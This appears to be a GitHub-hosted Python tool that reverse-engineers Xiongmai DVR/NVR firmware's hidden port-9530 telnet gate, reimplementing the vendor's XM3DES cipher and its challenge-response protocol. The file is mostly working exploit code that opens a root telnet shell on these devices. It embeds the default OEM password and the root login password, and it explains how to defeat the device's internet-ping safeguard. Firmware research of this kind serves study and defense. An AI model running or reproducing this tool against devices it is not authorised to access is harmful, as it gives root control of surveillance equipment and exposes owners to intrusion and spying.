Repository navigation
Expand file tree
/
Copy pathxmtelnet.py
More file actions
398 lines (351 loc) · 16.5 KB
/
Copy pathxmtelnet.py
File metadata and controls
398 lines (351 loc) · 16.5 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
#!/usr/bin/env python3
"""Xiongmai dvrHelper hidden telnet gate (TCP port 9530).
Beyond the well-known InstallDesc/OPSystemUpgrade route, XM DVR/NVR
firmware ships dvrHelper with `TelnetdProc_thrd`: a listener on TCP
9530 that spawns `telnetd xmforever` (port 23, root) for a caller who
proves knowledge of the OEM password via an XM3DES challenge-response.
Protocol (one connection, single-threaded server, 15 s select timeout):
C->S [len]"OpenTelnet:OpenOnce" frame = 1 length byte + payload
S->C "randNum:NNNNNNNN" 16 bytes, NO newline
C->S [len]"randNum:" + 8-byte digest
S->C "verify:OK" 9 bytes (or "verify:ERROR" 12)
C->S [len]"CMD:" + 16-byte ciphertext
S->C "Open:OK" 7 bytes -> telnetd on port 23
digest = XM3DES_encrypt(data=randNum, key=randNum + oem_passwd)
ciphertext = XM3DES_encrypt(b"Telnet:OpenOnce\\0", same key)
XM3DES is XM's in-house DES variant, NOT textbook 3DES: all eight
permutation/S-box tables are standard, but bit cells are unpacked and
packed LSB-first ((byte >> i) & 1), S-box output nibbles are stored
LSB-first as well, and there is no final half-swap before FP.
EDE keying: K1 = randNum, K2 = oem_passwd (flag set when the combined
key is longer than 8 bytes; a shorter password degrades to single DES).
Reverse-engineered from the dvrHelper applet in XM busybox
(sub_2BB28/sub_2BC60/sub_2BD98/sub_2BE88) and verified bit-exact against
a live QEMU twin of an NBD6804T-F (HI3520DV200): the implementation
reproduces the server's own E-expansion scratch cells observed in a
guest RAM dump, and its digest earns `verify:OK` on the wire.
Known-answer vector (ground truth from the twin, randNum=73678900,
passwd=2wj9fsa2): digest a8ee9fd23ffd7d9a.
Warnings
--------
* ONE wrong digest permanently kills the 9530 listener until the device
reboots (**verify:ERROR** -> the accept thread closes the socket and
exits, no respawn). Never retry blindly: fix the OEM password first.
The default OEM password is ``2wj9fsa2``; a custom one lives in
/mnt/custom/TelnetOEMPasswd (first 8 bytes) on the device.
* After the CMD frame the server pings 114.114.114.114, 8.8.8.8 and
180.76.76.76 (`ping -w 2` each). If any replies, it answers
``Refuse:Internet`` and does NOT start telnetd. Block these
destinations between you and the device to force the check to fail.
* The telnetd it spawns asks for the password hashed in
/etc/xmtelnetdpw (busybox login, DES crypt); ``xc3511`` works on the
tested unit (absxcfbgXtb3o == crypt("xc3511", "ab")).
Usage from code::
import xmtelnet
if xmtelnet.open_telnet_9530("10.0.0.10"):
... # telnet 10.0.0.10:23, root / xc3511
Standalone (offline self-test)::
python3 xmtelnet.py # KAT only
python3 xmtelnet.py 10.0.0.10 # KAT + live handshake
Stdlib only (Python 3.6+, like the rest of this repo).
"""
import socket
import sys
XM9530_PORT = 9530
XM9530_PASSWD = b"2wj9fsa2"
CMD_PLAINTEXT = b"Telnet:OpenOnce\x00"
# ---------------------------------------------------------------------------
# XM DES tables -- textbook values, verified byte-for-byte against the
# dvrHelper applet's rodata (busybox 0xC454A..0xC4892). What makes this
# variant is the LSB-first bit-cell convention, not the tables.
# ---------------------------------------------------------------------------
_IP = [58, 50, 42, 34, 26, 18, 10, 2, 60, 52, 44, 36, 28, 20, 12, 4,
62, 54, 46, 38, 30, 22, 14, 6, 64, 56, 48, 40, 32, 24, 16, 8,
57, 49, 41, 33, 25, 17, 9, 1, 59, 51, 43, 35, 27, 19, 11, 3,
61, 53, 45, 37, 29, 21, 13, 5, 63, 55, 47, 39, 31, 23, 15, 7]
_FP = [40, 8, 48, 16, 56, 24, 64, 32, 39, 7, 47, 15, 55, 23, 63, 31,
38, 6, 46, 14, 54, 22, 62, 30, 37, 5, 45, 13, 53, 21, 61, 29,
36, 4, 44, 12, 52, 20, 60, 28, 35, 3, 43, 11, 51, 19, 59, 27,
34, 2, 42, 10, 50, 18, 58, 26, 33, 1, 41, 9, 49, 17, 57, 25]
_E = [32, 1, 2, 3, 4, 5, 4, 5, 6, 7, 8, 9, 8, 9, 10, 11, 12, 13, 12, 13,
14, 15, 16, 17, 16, 17, 18, 19, 20, 21, 20, 21, 22, 23, 24, 25,
24, 25, 26, 27, 28, 29, 28, 29, 30, 31, 32, 1]
_P = [16, 7, 20, 21, 29, 12, 28, 17, 1, 15, 23, 26, 5, 18, 31, 10,
2, 8, 24, 14, 32, 27, 3, 9, 19, 13, 30, 6, 22, 11, 4, 25]
_PC1 = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2,
59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39,
31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37,
29, 21, 13, 5, 28, 20, 12, 4]
_PC2 = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8,
16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33,
48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32]
_SHIFTS = [1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1]
_SBOX = [
[[14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7],
[0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8],
[4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0],
[15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13]],
[[15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10],
[3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5],
[0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15],
[13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9]],
[[10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8],
[13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1],
[13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7],
[1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12]],
[[7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15],
[13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9],
[10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4],
[3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14]],
[[2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9],
[14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6],
[4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14],
[11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3]],
[[12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11],
[10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8],
[9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6],
[4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13]],
[[4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1],
[13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6],
[1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2],
[6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12]],
[[13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7],
[1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2],
[7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8],
[2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11]],
]
# Flat S-box access done by dvrHelper: S[i] at stride 64,
# index 32*b0 + 16*b5 + 8*b1 + 4*b2 + 2*b3 + b4 (b0..b5 = 6-cell chunk).
_SFLAT = [v for box in _SBOX for row in box for v in row]
# ---------------------------------------------------------------------------
# XM3DES core
# ---------------------------------------------------------------------------
def _unpack(data):
"""Byte string -> list of bit cells, LSB-first: cell i = (b[i>>3]>>i)&1."""
return [(data[i >> 3] >> (i & 7)) & 1 for i in range(8 * len(data))]
def _pack(cells):
"""Mirror of _unpack (sub_2BC60 tail): out[i>>3] |= cell[i] << (i&7)."""
out = bytearray((len(cells) + 7) >> 3)
for i, c in enumerate(cells):
out[i >> 3] |= c << (i & 7)
return bytes(out)
def _key_schedule(key8):
bits = _unpack(key8)
k = [bits[t - 1] for t in _PC1]
c, d = k[:28], k[28:]
sched = []
for s in _SHIFTS:
c = c[s:] + c[:s]
d = d[s:] + d[:s]
cd = c + d
sched.append([cd[t - 1] for t in _PC2])
return sched
def _f(cells32, ks48):
e = [cells32[t - 1] for t in _E]
ex = [a ^ b for a, b in zip(e, ks48)]
out = []
for s in range(8):
b = ex[6 * s:6 * s + 6]
idx = (32 * b[0] + 16 * b[5] + 8 * b[1]
+ 4 * b[2] + 2 * b[3] + b[4])
n = _SFLAT[64 * s + idx]
out.extend([(n >> j) & 1 for j in range(4)])
return [out[t - 1] for t in _P]
def _block(data8, sched, enc):
bits = _unpack(data8)
permuted = [bits[t - 1] for t in _IP]
a, b = permuted[:32], permuted[32:]
if enc:
for r in range(16):
fh = _f(b, sched[r])
a, b = b, [x ^ y for x, y in zip(fh, a)]
else:
for r in range(15, -1, -1):
fh = _f(a, sched[r])
a, b = [x ^ y for x, y in zip(fh, b)], a
return _pack([[*(a + b)][t - 1] for t in _FP])
def _schedules(rand, passwd):
"""dvrHelper (sub_2BB28) builds the key material in a fixed 16-byte
buffer: zeroed first, then filled with randNum + passwd truncated to
16 total; the 3DES path is taken when the combined key exceeds 8
bytes. The zero padding matters for OEM passwords shorter than 8
bytes -- slicing without it would only see the short tail."""
combined = rand + passwd # dvrHelper: sprintf("%s%s", randNum, passwd)
key = (combined + b"\x00" * 16)[:16]
if len(combined) > 8: # byte_E00DD flag in sub_2BB28
return _key_schedule(key[:8]), _key_schedule(key[8:16]), True
return _key_schedule(key[:8]), None, False
def xm_digest(rand, passwd):
"""8-byte challenge digest: EDE-encrypt(randNum) with K1=randNum,
K2=passwd when the combined key is longer than 8, else plain
single-DES encrypt with K1 (the vendor's own degradation)."""
k1, k2, triple = _schedules(rand, passwd)
if not triple:
return _block(rand, k1, True)
d = _block(rand, k1, True)
d = _block(d, k2, False)
d = _block(d, k1, True)
return d
def xm_encrypt(data, rand, passwd):
"""ECB-encrypt `data` the way the server expects the CMD frame:
EDE-encrypt with K1/randNum, K2/passwd (triple path), i.e. the
inverse of the server's dec/enc/dec. Falls back to single-DES ECB
with K1 when the combined key is <= 8 bytes."""
k1, k2, triple = _schedules(rand, passwd)
if len(data) % 8:
data = data + b"\x00" * (-len(data) % 8)
out = []
for i in range(0, len(data), 8):
d = data[i:i + 8]
if not triple:
out.append(_block(d, k1, True))
continue
d = _block(d, k1, True)
d = _block(d, k2, False)
d = _block(d, k1, True)
out.append(d)
return b"".join(out)
# Ground truth captured off a live twin (see module docstring).
_KAT = (b"73678900", b"736789002wj9fsa2", "a8ee9fd23ffd7d9a")
def self_test():
rand, _, want = _KAT
got = xm_digest(rand, b"2wj9fsa2").hex()
if got != want:
raise AssertionError("XM3DES KAT failed: %s != %s" % (got, want))
# Decryption must invert encryption (round-trip sanity).
ct = xm_encrypt(CMD_PLAINTEXT, rand, b"2wj9fsa2")
k1, k2, _ = _schedules(rand, b"2wj9fsa2")
plain = b""
for i in range(0, len(ct), 8):
d = ct[i:i + 8]
d = _block(d, k1, False)
d = _block(d, k2, True)
d = _block(d, k1, False)
plain += d
if plain != CMD_PLAINTEXT:
raise AssertionError("XM3DES round-trip failed")
# Short OEM passwords must not crash (the vendor zero-pads the
# combined key to 16 bytes) and must stay invertible.
for pw in (b"", b"a", b"1234"):
xm_digest(rand, pw)
ct2 = xm_encrypt(CMD_PLAINTEXT, rand, pw)
k1, k2, _ = _schedules(rand, pw)
plain = b""
for i in range(0, len(ct2), 8):
d = ct2[i:i + 8]
d = _block(d, k1, False)
if k2 is not None:
d = _block(d, k2, True)
d = _block(d, k1, False)
plain += d
if plain != CMD_PLAINTEXT:
raise AssertionError(f"XM3DES round-trip failed for passwd {pw!r}")
return got
# ---------------------------------------------------------------------------
# Wire protocol
# ---------------------------------------------------------------------------
def _frame(payload):
return bytes([len(payload) + 1]) + payload
def _recv_exact(sock, n, timeout):
"""Read exactly n bytes, however many segments they arrive in.
Every server reply has a protocol-fixed length and NO terminator --
and the success and error replies of one step differ in length
("verify:OK" is 9 bytes, "verify:ERROR" is 12), so each step reads
to a known prefix length and then, when needed, the few remaining
bytes of the recognized alternative. Asking for extra bytes instead
would block into the server's 15 s select timeout and wreck the
session; reading a fixed length once could truncate a reply split
across segments, so loop until n or the timeout."""
sock.settimeout(timeout)
data = b""
while len(data) < n:
try:
chunk = sock.recv(n - len(data))
except socket.timeout:
break
if not chunk: # server closed the connection mid-frame
break
data += chunk
return data
def open_telnet_9530(host, port=XM9530_PORT, passwd=XM9530_PASSWD,
timeout=45, verbose=True):
"""Run the 9530 challenge-response and ask dvrHelper to start
`telnetd xmforever` on port 23. Returns True on Open:OK.
Beware: a single wrong OEM password answer (verify:ERROR) disables
the 9530 listener until the device reboots -- do not sit in a retry
loop with wrong passwords. `Refuse:Internet` is recoverable: the
server refuses while it can ping 114.114.114.114 / 8.8.8.8 /
180.76.76.76; block those and try again (the listener survives it).
"""
if isinstance(passwd, str):
passwd = passwd.encode()
if verbose:
print(f"[9530] contacting dvrHelper on {host}:{port}")
# All socket errors (refused connection, resets, mid-handshake
# drops, timeouts) are reported and returned as False, so callers
# can fall back to their other routes instead of crashing.
try:
s = socket.create_connection((host, port), timeout=timeout)
except OSError as e:
print(f"[9530] cannot reach {host}:{port}: {e}")
return False
try:
s.sendall(_frame(b"OpenTelnet:OpenOnce"))
resp = _recv_exact(s, 16, timeout) # "randNum:%08d"
if verbose:
print(f"[9530] <- {resp!r}")
if len(resp) != 16 or not resp.startswith(b"randNum:"):
print("[9530] unexpected reply (no randNum) -- abort")
return False
rand = resp[8:16]
digest = xm_digest(rand, passwd)
if verbose:
print(f"[9530] randNum={rand.decode()} digest={digest.hex()}")
s.sendall(_frame(b"randNum:" + digest))
resp = _recv_exact(s, 9, timeout) # "verify:OK" (9 bytes)
if resp.startswith(b"verify:ER"): # "verify:ERROR" (12)
resp += _recv_exact(s, 3, timeout)
if verbose:
print(f"[9530] <- {resp!r}")
if resp.startswith(b"verify:ERROR"):
print("[9530] verify:ERROR -- wrong OEM password. The 9530 "
"listener is now DISABLED until the device reboots; "
"fix the password (check /mnt/custom/TelnetOEMPasswd) "
"and NEVER blind-retry.")
return False
if resp != b"verify:OK":
print("[9530] verification failed without a reply -- abort")
return False
ct = xm_encrypt(CMD_PLAINTEXT, rand, passwd)
s.sendall(_frame(b"CMD:" + ct))
# The server pings 114.114.114.114 / 8.8.8.8 / 180.76.76.76
# (`ping -w 2` each) before the verdict: allow for three
# two-second waits plus slack.
resp = _recv_exact(s, 7, 30) # "Open:OK" (7 bytes)
if resp.startswith(b"Refuse:"): # "Refuse:Internet" (15)
resp += _recv_exact(s, 8, timeout)
if verbose:
print(f"[9530] <- {resp!r}")
if resp == b"Open:OK":
if verbose:
print("[9530] Open:OK -- telnetd is up on port 23")
return True
if resp.startswith(b"Refuse:"):
print("[9530] " + resp.decode(errors="replace")
+ " -- the device still passes its WAN ping check "
"(114.114.114.114 / 8.8.8.8 / 180.76.76.76). "
"Block those destinations and retry.")
return False
print(f"[9530] no Open:OK ({resp!r})")
return False
except OSError as e:
print(f"[9530] connection error: {e}")
return False
finally:
s.close()
if __name__ == "__main__":
kat = self_test()
print(f"xmtelnet self-test OK (KAT digest {kat})")
if len(sys.argv) > 1:
ok = open_telnet_9530(sys.argv[1])
sys.exit(0 if ok else 1)